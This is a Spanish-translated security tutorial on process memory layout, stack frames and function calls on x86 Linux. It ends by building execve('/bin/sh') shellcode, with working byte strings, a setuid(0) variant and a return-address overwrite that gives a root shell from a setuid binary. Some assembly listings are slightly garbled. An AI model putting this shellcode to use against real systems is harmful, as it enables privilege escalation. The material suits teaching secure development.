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Convert to GutenPalm or to PalmDoc por Frédéric Raynal, Christophe Blaess, Christophe Grenier <pappy(at)users.sourceforge.net, ccb(at)club-internet.fr, grenier(at)nef.esiea.fr> Sobre el autor: Christophe Blaess es un ingeniero en aeronáutica independiente. Es un aficionado a Linux y mucho de su trabajo lo hace en este sistema.Coordina la traduccion de las páginas del manual que se publican en el Linux Documentation Project. Christophe Grenier es un estudiante del 5to. año en ESIEA, donde también trabaja como administrador de sistemas. Es un apasionado de la seguridad en cómputo. Frédéric Raynal ha usado Linux por muchos años porque no contamina, no usa hormonas, ni GMO , tampoco grasa animal ... solamente sudor y trucos. Taducido al español por: Victor Manuel Campos Campos <victor_inmx(at)yahoo.com.mx> Contenidos: Introducción Memory layout ¿Qué es un programa? Las diferentes áreas Ejemplo detallado La pila (stack) y el montón (heap) Los registros Las funciones Introducción El prólogo La llamada El regreso Desensamblado Creando un código shell Con lenguaje C Llamadas de Ensamblador Localizando el código shell dentro de la memoria El probema de los bytes null Construyendo el código shell Generalización y últimos detalles Conclusión Formulario de "talkback" para este artículo

Evitando agujeros de seguridad al desarrollar una aplicación - Parte 2: memoria, pila y funciones, código shell

Resumen:

Esta serie de artículos tratan de enfatizar los principales agujeros de seguridad que pueden aparecer dentro de las aplicaciones. Muestra maneras de evitar estos agujeros cambiando un poco los hábitos de desarrollo.

Este artículo se enfoca en la organización y de la memoria, y explica la relación entre una función y la memoria. La última sección muestra cómo construir shellcode.

Introducción

Memory layout

¿Qué es un programa?

Las diferentes áreas

Generalmente esto no es todo, pero solamente nos enfocamos en las partes que son mas importantes para este artículo.

La orden size -A file --radix 16 devuelve el tamaño de cada área reservada al compilar. De ahí obtenemos sus direcciones de memoria (también puede usarse la orden objdump para obtener esta información). Aquí está la salida de size para un binario llamado "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

Antes de explicar las otras áreas, recordemos algunas cosas acerca de variables en C. Las variables global son usadas en el programa completo mientras que las variables locales son usadas solamente dentro de la función donde son declaradas. Las variables static tienen un tamaño conocido dependiendo del tipo con que son declaradas. Los tipos pueden ser char, int, double, pointers, etc. En una máquina tipo PC, un apuntador representa una dirección entera de 32 bits dentro de la memoria. Obviamente, el tamaño del área apuntada se desconoce durante la compilación. Una variable dynamic representa un área de memoria explícitamente reservada - realmente es un apuntador que apunta a una dirección de memoria reservada. Las variables global/local, static/dynamic pueden combinarse sin problemas.

Regresemos a la organización de la memoria para un proceso dado. El área de data almacena los datos estáticos globales inicializados (el valor es proporcionado en el momento de la compilación), mientras que el segmento  bss contiene los datos globales no inicializados. Estas áreas se reservan en el momento de la compilación dado que su tamaño se define de acuerdo con los objetos que contienen.

¿Qué hay acerca de variables dinámicas y locales? Se agrupan en un área de memoria reservada para la ejecución del programa (user stack frame). Dado que las funciones pueden invocarse recursivamente, no se conoce con anticipación el número de instacias de una variable  local. Al crearse serán colocadas en la pila o stack. Esta pila se encuentra hasta arriba de las direcciones mas altas dentro del espacio de direcciones del usuario, y trabaja de acuerdo con un modelo LIFO (Last In, First Out). El fondo del área del marco del usuario o user frame se usa para la colocación de variables dinámicas. A esta área se le llama heap : contiene las áreas de memoria direccionadas por apuntadores y variables dinámicas. Al declararse, un apuntador es una variable de 32 bits, ya sea en BSS o en la pila, y no apunta a alguna dirección válida. Cuando un proceso obtiene memoria (i.e. usando malloc) la dirección del primer byte de esa memoria (también un número de 32 bits) es colocado en el apuntador.  

Ejemplo detallado

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c) 
{
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
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(gdb)

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

Las instrucciones 3 y 4 confirman que la variable estática no inicializada nothing puede ser encontrada en el segmento BSS.

La línea 5 despliega str ... de hecho el contenido de la variable str, o sea la dirección 0x80495a8. La instrucción 6 muestra que no se ha definido una variable en esta dirección. La orden  7 nos permite obtener la dirección de la variable str  y la orden 8 indica que puede ser encontrada en el segmento BSS.

En la 9, los 4 bytes desplegados corresponden al contenido de la memoria en la dirección 0x804959c : es una dirección reservada dentroi del  heap. El contenido de la 10 muestra nuestra cadena "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

Observamos que el tamaño devuelto por la orden size para las diferentes áreas no corresponde con lo que esperabamos al seguir nuestro programa. La razón es que aparecen otras variables diferentes declaradas en bibliotecas al ejecutar el programa (variables tipo info bajo gdb para generalizar).  

La pila (stack) y el montón (heap)

La dirección de una variable local dentro de la pila podría expresarse como un relativo a  %esp. Sin embargo, siempre se estan agregando o quitando elementos a la pila, entonces el offeset de cada variable necesitaría ser reajustado y eso es muy ineficiente. El uso de un segundo apuntador permite mejorar eso : %ebp (extended base pointer) contiene la dirección de inicio del ambiente de la función actual. Así, es suficiente con expresar el offset relacionado con este registro. Permanece constante mientras se ejecuta la función. Ahora es fácil encontrar los parámetros y variables locales dentro de las funciones.

La unidad básica de la pila es la palabra o word : en CPU's i386 es de 32 bits, es decir 4 bytes. Esto es diferente en otras arquitecturas. En CPU's Alpha una palabra es de 64 bits. La pila solamente maneja palabras, lo que significa que cada variable colocada usa el mismo tamaño de palabra. Veremos esto con mas detalle en la descripción de una función prolog. El despliegue del contenido de la variable str usando gdb en el ejemplo anterior lo ilustra. la orden gdbx despliega una palabra completa de 32 bits (se lee de izquierda a derecha ya que es una representación little endian).

La pila es generalmente manipulada con solo dos instrucciones de cpu :

• push value : esta instrucción pone el valor en la cima de la pila. Decrementa %esp en una palabra para obtener la dirección de la siguiente palabra disponile en la pila, y almacena el value dado como un argumento en esa palabra;
• pop dest : pone en 'dest' el elemento de la cima de la pila. Pone en dest el valor contenido en la dirección a la que %esp apunta e incrementa el registro %esp. Nada es realmente quitado de la pila, para ser preciso. Solo cambia el apuntador a la cima de la pila.

Los registros

La primera 'e' que aparece en el nombre de los registros significa "extended" e indica la evolución entre las viejas arquitecturas de 16 bits y las actuales de 32 bits.

Los registros pueden dividirse en 4 categorías :

1. registros generales : %eax, %ebx, %ecx and %edx usados para manipular datos;
2. registros de segmento : 16bit %cs, %ds, %esx and %ss, contienen la primera parte de una dirección de memoria;
3. regsitros de offset : indican un offset relacionado con un registro de segmento :
• %eip (Extended Instruction Pointer) : indica la dirección de la siguiente instrucción que será ejecutada;
• %ebp (Extended Base Pointer) : indica el inicio del ambiente local para una función;
• %esi (Extended Source Index) : contiene el offset los datos fuente en una operación que usa un bloque de memoria;
• %edi (Extended Destination Index) : contiene el offset de los datos destino de datos en una operación que usa un bloque de memoria;
• %esp (Extended Stack Pointer) : la cima de la pila;
4. registros especiales : son usados únicamente por el CPU.

Las funciones

Introducción

/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

La ejecución de una función se divide en tres pasos :

1. el prólogo (prolog) : al iniciar una función, ya se preparó el escenario, guardando el estado de la pila antes de iniciar la función y reservando la memoria necesaria para ejecutarla;
2. el llamado a la función (call) : cuando se llama a una función, sus parámetros se colocan en la pila y se guarda el apuntador de instrucción (IP) para permitir que la ejecución de la instrucción continúe a partir del lugar correcto cuando haya concluido la ejecución de la función;
3. el regreso de la función (return) : dejar las cosas como estaban antes de llamar a la función.

El prólogo

push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program

Diag. 1 : prólogo de una función

	Inicialmente, %ebp apunta en la memoria a cualquier dirección X. %esp está mas abajo en la pila, en la dirección Y y apunta a la última entrada de la pila. Al iniciar una función, se debe salvar el "ambiente actual", es decir %ebp. Dado que se coloca %ebp dentro de la pila, %esp se decrementa por una palabra de memoria.
	Esta segunda instrucción permite construir un nuevo "ambiente", colocando a  %ebp en la cima de la pila. Entonces %ebp y %esp apuntan a la misma palabra de memoria que contiene la dirección del ambiente previo.
	Ahora tiene que reservarse el espacio de pila para las variables locales. El arreglo de caracteres es definido con 5 elementos y necesita  5 bytes (un char es un byte). Sin embargo la pila solo maneja words, y solo puede reservar múltiplos de un word (1 word, 2 words, 3 words, ...). Para almacenar 5 bytes en el caso de un word de 4 bytes, se deben usar 8 bytes (es decir 2 words). La parte en gris podría usarse, aún cuando realmente no es parte de la cadena. El entero k usa 4 bytes. Este espacio es reservado decrementando 0xc (12 in hexadecimal) al valor de  %esp . Las variables locales usan  8+4=12 bytes (i.e. 3 words).

Además del mecanismo mismo, lo importante a recordar aquí es la posición de las variables locales : las variables locales tienen un offset negativo en relación con %ebp. La instrucción i=0 en la función main() ilustra esto. El código de ensamblador (cf. debajo) usa direccionamiento indirecto para accesar a la variable  i :

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

La llamada

Como ejemplo, tomemos la llamada a toto(1, 2).
 

Diag. 2 : Llamada a función

Antes de llamar a una función, se almacenan en la pila los argumentos que necesita. En nuesro ejemplo, los dos enteros constante 1 y 2 se almacenan en la pila primero, comenzando con el último. El registro %eip contiene la dirección de la siguiente instrucción a ejecutar, en este caso la llamada a la función.

Al ejecutar la instrucción call, %eip toma el valor de la dirección de la siguiente instrucción que se encuentra 5 bytes después (call es una instrucción de 5 byte - cada instrucción no usa el mismo espacio, dependiendo del CPU). Entonces call guarda la dirección contenida en %eip para poder regresar a la ejecución después de correr la función. Este "respaldo" se hace con una instrucción implícita que guarda el registro en la pila :     push %eip     El valor dado a call como un argumento corresponde a a dirección de la primera instrucción del prólogo de la función toto(). Entonces esta dirección es copiada a %eip, así se convierte en la siguiente instrucción a ejecutar.

Una vez que estamos en el cuerpo de la función, sus argumentos y la dirección de regreso tienen un offset positivo en relación a %ebp, ya que la siguiente instrucción coloca a este registro en la cima de la pila. La instrucción j=0 en la función toto() ilustra esto. El código Ensamblador otra vez usa direccionamiento indirecto para accesar a j :

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

El regreso

El primer paso se hace dentro de la función con las instrucciones :

leave
ret

Tomemos el ejemplo anterior de la función toto().
 

Diag. 3 : Regreso de la función

	Aquí describimos la situación inicial antes de la llamada y el prólogo. Antes de la llamada, , %ebp estaba en la dirección  X y %esp en la dirección Y . >A partir de ahí colocamos en la pila los argumentos de la función, guradammos %eip y %ebp y reservamos algo de espacio para nuestras variables locales. La siguiente instrucción ejecutada será leave.
	La instrucción leave es equivalente a la secuencia :      mov ebp esp     pop ebp     La primera regresa a  %esp y %ebp al mismo lugar en la pila. La segunda coloca la cima de la pila en el registro %ebp. Con solamente una instrucción  (leave), la pila está como habría estado sin el prólogo.
	La instrucción ret restaura %eip de tal manera que la ejecución de la función que hizo la llamada, inicia de nuevo donde debería, es decir después de la función que estamos terminando. Por esto, es suficiente con tomar el contenido de la cima de la pila y colocarlo en  %eip.  Aún no estamos en la situación inicial ya que los argumentos de la función todavía estan en la pila. La siguiente instrucción será quitarlos, representada con su dirección Z+5 en %eip (notemos que el direccionamiento de instrucción se incrementa, al contrario de lo que sucede con la pila).
	La colocación de parámetros en la pila se hace en la función que hace la llamada, lo mismo sucede con la remoción de ellos de la pila. Esto se ilustra en el diagrama opuesto con el separador entre las instrucciones en la función llamaday el add 0x8, %esp en la función que la llama. Esta instrucción regresa a la cima de la pila tantos bytes como parámetros usados por la función toto(). Los registros %ebp y %esp estan ahora en la situación que estaban antes de la llamada. Por otro lado, el regsitro de instrucción %eip se movió hacia arriba.

Desensamblado

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
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(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from 
printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret    

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.

Creando un código shell

En artículos posteriores hablaremos de mecanismos usados para la ejecución de instrucciones. Aquí iniciamos estudiando el código mismo, el que queremos ejecutar desde la aplicación principal. La solución mas simple es con un pedazo de código que corra un shell. Entonces el lector puede realizar otras acciones como cambiar los permisos del archivo /etc/passwd. Por razones que mas adelante resultarán obvias, este programa debe hacerse en lenguaje Ensamblador. Este tipo de programa pequeño que se usa para ejecutar un shell se conoce como código shell o shellcode.

Los ejemplos mencionados estan inspirados en el articulo de Aleph One' "Smashing the Stack for Fun and Profit" del número 49 de la revista Phrack.  

Con lenguaje C

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

Aún mas, si execve() tiene éxito, el programa que hace la llamada (en este caso la aplicación principal) es sustituido por el código ejecutable del nuevo programa e inicia su ejecución. Cuando la llamada a execve()falla, continua la ejecución del programa. En nuestro ejemplo, el código fue insertado en la mitad de la aplicación atacada. Continuar con la ejecución no tendría sentido e incluso podría ser desastroso. Por tanto, la ejecución debe terminar tan pronto como sea posible. Una sentencia return (0) permite salir de un programa solamente cuando es llamada desde la función  main(), lo cuál no ocurre aquí. Entonces debemos forzar la terminación mediante la función exit().

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}

Llamadas de Ensamblador

$ gcc -o shellcode3 shellcode3.c -O2 -g --static

$ gdb shellcode3
GNU gdb 4.18
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(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop    
End of assembler dump.
(gdb)

(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 
<__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave  
0x804d9f3 <__execve+71>: ret    
End of assembler dump.
(gdb) disassemble _exit   
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit

Diag. 4 : parámetros de la función execve()

El análisis de las instrucciones de estas funciones en Ensamblador nos proporcionan los parámetros que usan :

• execve() necesita varios parámetros (cf. diag 4) :
• el registro %ebx contiene la dirección de la cadena que representa el comando a ejecutar, en nuestro ejemplo "/bin/sh" (0x804d9b1 : mov 0x8(%ebp),%edi seguido por 0x804d9c9 : mov %edi,%ebx) ;
• el registro %ecx contiene la dirección del arreglo argumento (0x804d9c2 : mov 0xc(%ebp),%ecx). El primer argumento debe ser el nombre del programa y no necesitamos más : un arreglo que contiene la dirección de la cadena "/bin/sh" y un apuntador NULL será suficiente;
• el registro %edx contiene la dirección del arreglo que representa el programa que inicia el ambiente (0x804d9c5 : mov 0x10(%ebp),%edx). Para mantener nuestro programa simple usaremos un ambiente vacío : basta con un apuntador a NULL.
• la función _exit() termina el proceso, y regresa un código de ejecución a su padre (generalmente un shell), contenido en el registro %ebx ;

Diag. 5 : representación de los datos relativos a los registros

Localizando el código shell dentro de la memoria

Cuando se llama a una subrutina con la instrucción call, el CPU almacena la dirección de regreso en la pila, que es la dirección que sigue inmediatamente a esta insrucción call (ver arriba). Generalmente el paso siguiente es almacenar el estado de la pila (especialemente el registro %ebp con la instrucción push %ebp). Para obtener la dirección de regreso al arrancar a subrutina, basta con sacar el elemento de la cima de la pila mediante la instrucción pop. Por supuesto, entonces se almacena la cadena "/bin/sh" inmediatamente después de la instrucción call para permitir que el "prólogo hecho en casa" proporcione la requerida dirección de la cadena. Es decir :

 beginning_of_shellcode:
    jmp subroutine_call
        
 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ... 
 subroutine_call:
    call subroutine
    /bin/sh

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

Diag. 6 : arreglo de datos

El probema de los bytes null

    movl $0x00, 0x0c(%esi)

    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

0x804d996 <_exit+6>: mov $0x1,%eax

Convertida a decimal, esta cadena se convierte en :

 b8 01 00 00 00          mov    $0x1,%eax

Por otro lado, la cadena "/bin/sh" debe terminar con un byte null. Puede escribirse al crear el código shell, pero, dependiendo del mecanismo usado para insertarlo en un programa, este byte null puede no estar presente en el final de la aplicación. Es mejor agregar uno de esta manera :

    /* movb solamente trabaja sobre un byte */
    /* esta instrucción es equivalente a */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

Construyendo el código shell

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subrutina:
    /* obtenemos la dirección de /bin/sh*/
        popl %esi
    /* la escribimos como primer elemento del arreglo */
        movl %esi,0x8(%esi)
    /* escribimos NULL como segundo elemento del arreglo */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* colocamos el byte null al final de la cadena */
        movb %eax,0x7(%esi)
    /* función execve() */
        movb $0xb,%al
    /* colocamos en %ebx la cadena que será ejecutada*/
        movl %esi, %ebx
    /* colocamos en %ecx el arreglo de argumentos*/
        leal 0x8(%esi),%ecx
    /* colocamos en %edx el ambiente del arreglo*/
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc 
<subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das    
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das    
 80483c6:   73 68                   jae    8048430 
<_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret    
 80483cb:   90                      nop    
 80483cc:   90                      nop    
 80483cd:   90                      nop    
 80483ce:   90                      nop    
 80483cf:   90                      nop

Ahora, probemos nuestro programa :

$ ./shellcode4
Segmentation fault (core dumped)
$

Para salvar el problema read-only, debe colocarse el código shell en un área de datos. Pongámoslo en un arreglo declarado como una variable global. Debemos usar otro truco para poder ejecutar el código shell. Sustituyamos la dirección de regreso de la función  main() que se encuentra en la pila con la dirección del arreglo que contiene el código shell. No olvidemos que la función main es una rutina "standard", llamada por pedazos de código que el ligador agrega. La dirección de retorno se sobreescribe al escribir el arreglo de caracteres dos lugares mas abajo de la primera posición de la pila.

  /* shellcode5.c */
  
  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 se comportará como un offset de 2 words */
      /* (i.e. 8 bytes) en la cima de la pila : */
      /*   - el primero para la palabra reservada para 
             la variable local */
      /*   - el segundo para el registro guardado %ebp */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

Generalización y últimos detalles

  /* shellcode5bis.c */
  
 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

Este código de instrucción es :

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

  /* shellcode6.c */
  
  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

Tales cambios parecen implicar que se puede adaptar el valor de algunos bytes en el código shell de acuerdo con su uso :
 

eb XX	<subroutine_call>	XX = número de bytes para alcanzar <subroutine_call>
<subroutine>:
5e	popl %esi
89 76 XX	movl %esi,XX(%esi)	XX = posición del primer elemento en el arreglo de argumentos (i.e. la dirección de la orden). Este offset es igual al número de caracteres en la orden, incluido '\0'.
31 c0	xorl %eax,%eax
89 46 XX	movb %eax,XX(%esi)	XX = posición del segundo elemento en el arreglo , aquí, conteniendo un valor NULL.
88 46 XX	movb %al,XX(%esi)	XX = posición del final de la cadena '\0'.
b0 0b	movb $0xb,%al
89 f3	movl %esi,%ebx
8d 4e XX	leal XX(%esi),%ecx	XX = offset para alcanzar el primer elemento en el arreglo de argumentos y ponerlo en el registro %ecx
8d 56 XX	leal XX(%esi),%edx	XX = offset para alcanzar el segundo elemento en el arreglo de argumentosy ponerlo en el registro %edx
cd 80	int $0x80
31 db	xorl %ebx,%ebx
89 d8	movl %ebx,%eax
40	incl %eax
cd 80	int $0x80
<subroutine_call>:
e8 XX XX XX XX	call <subroutine>	estos 4 bytes corresponden al número de bytes para alcanzar<subroutine> (número negativo, escrito en  little endian)

 

Conclusión

Formulario de "talkback" para este artículo

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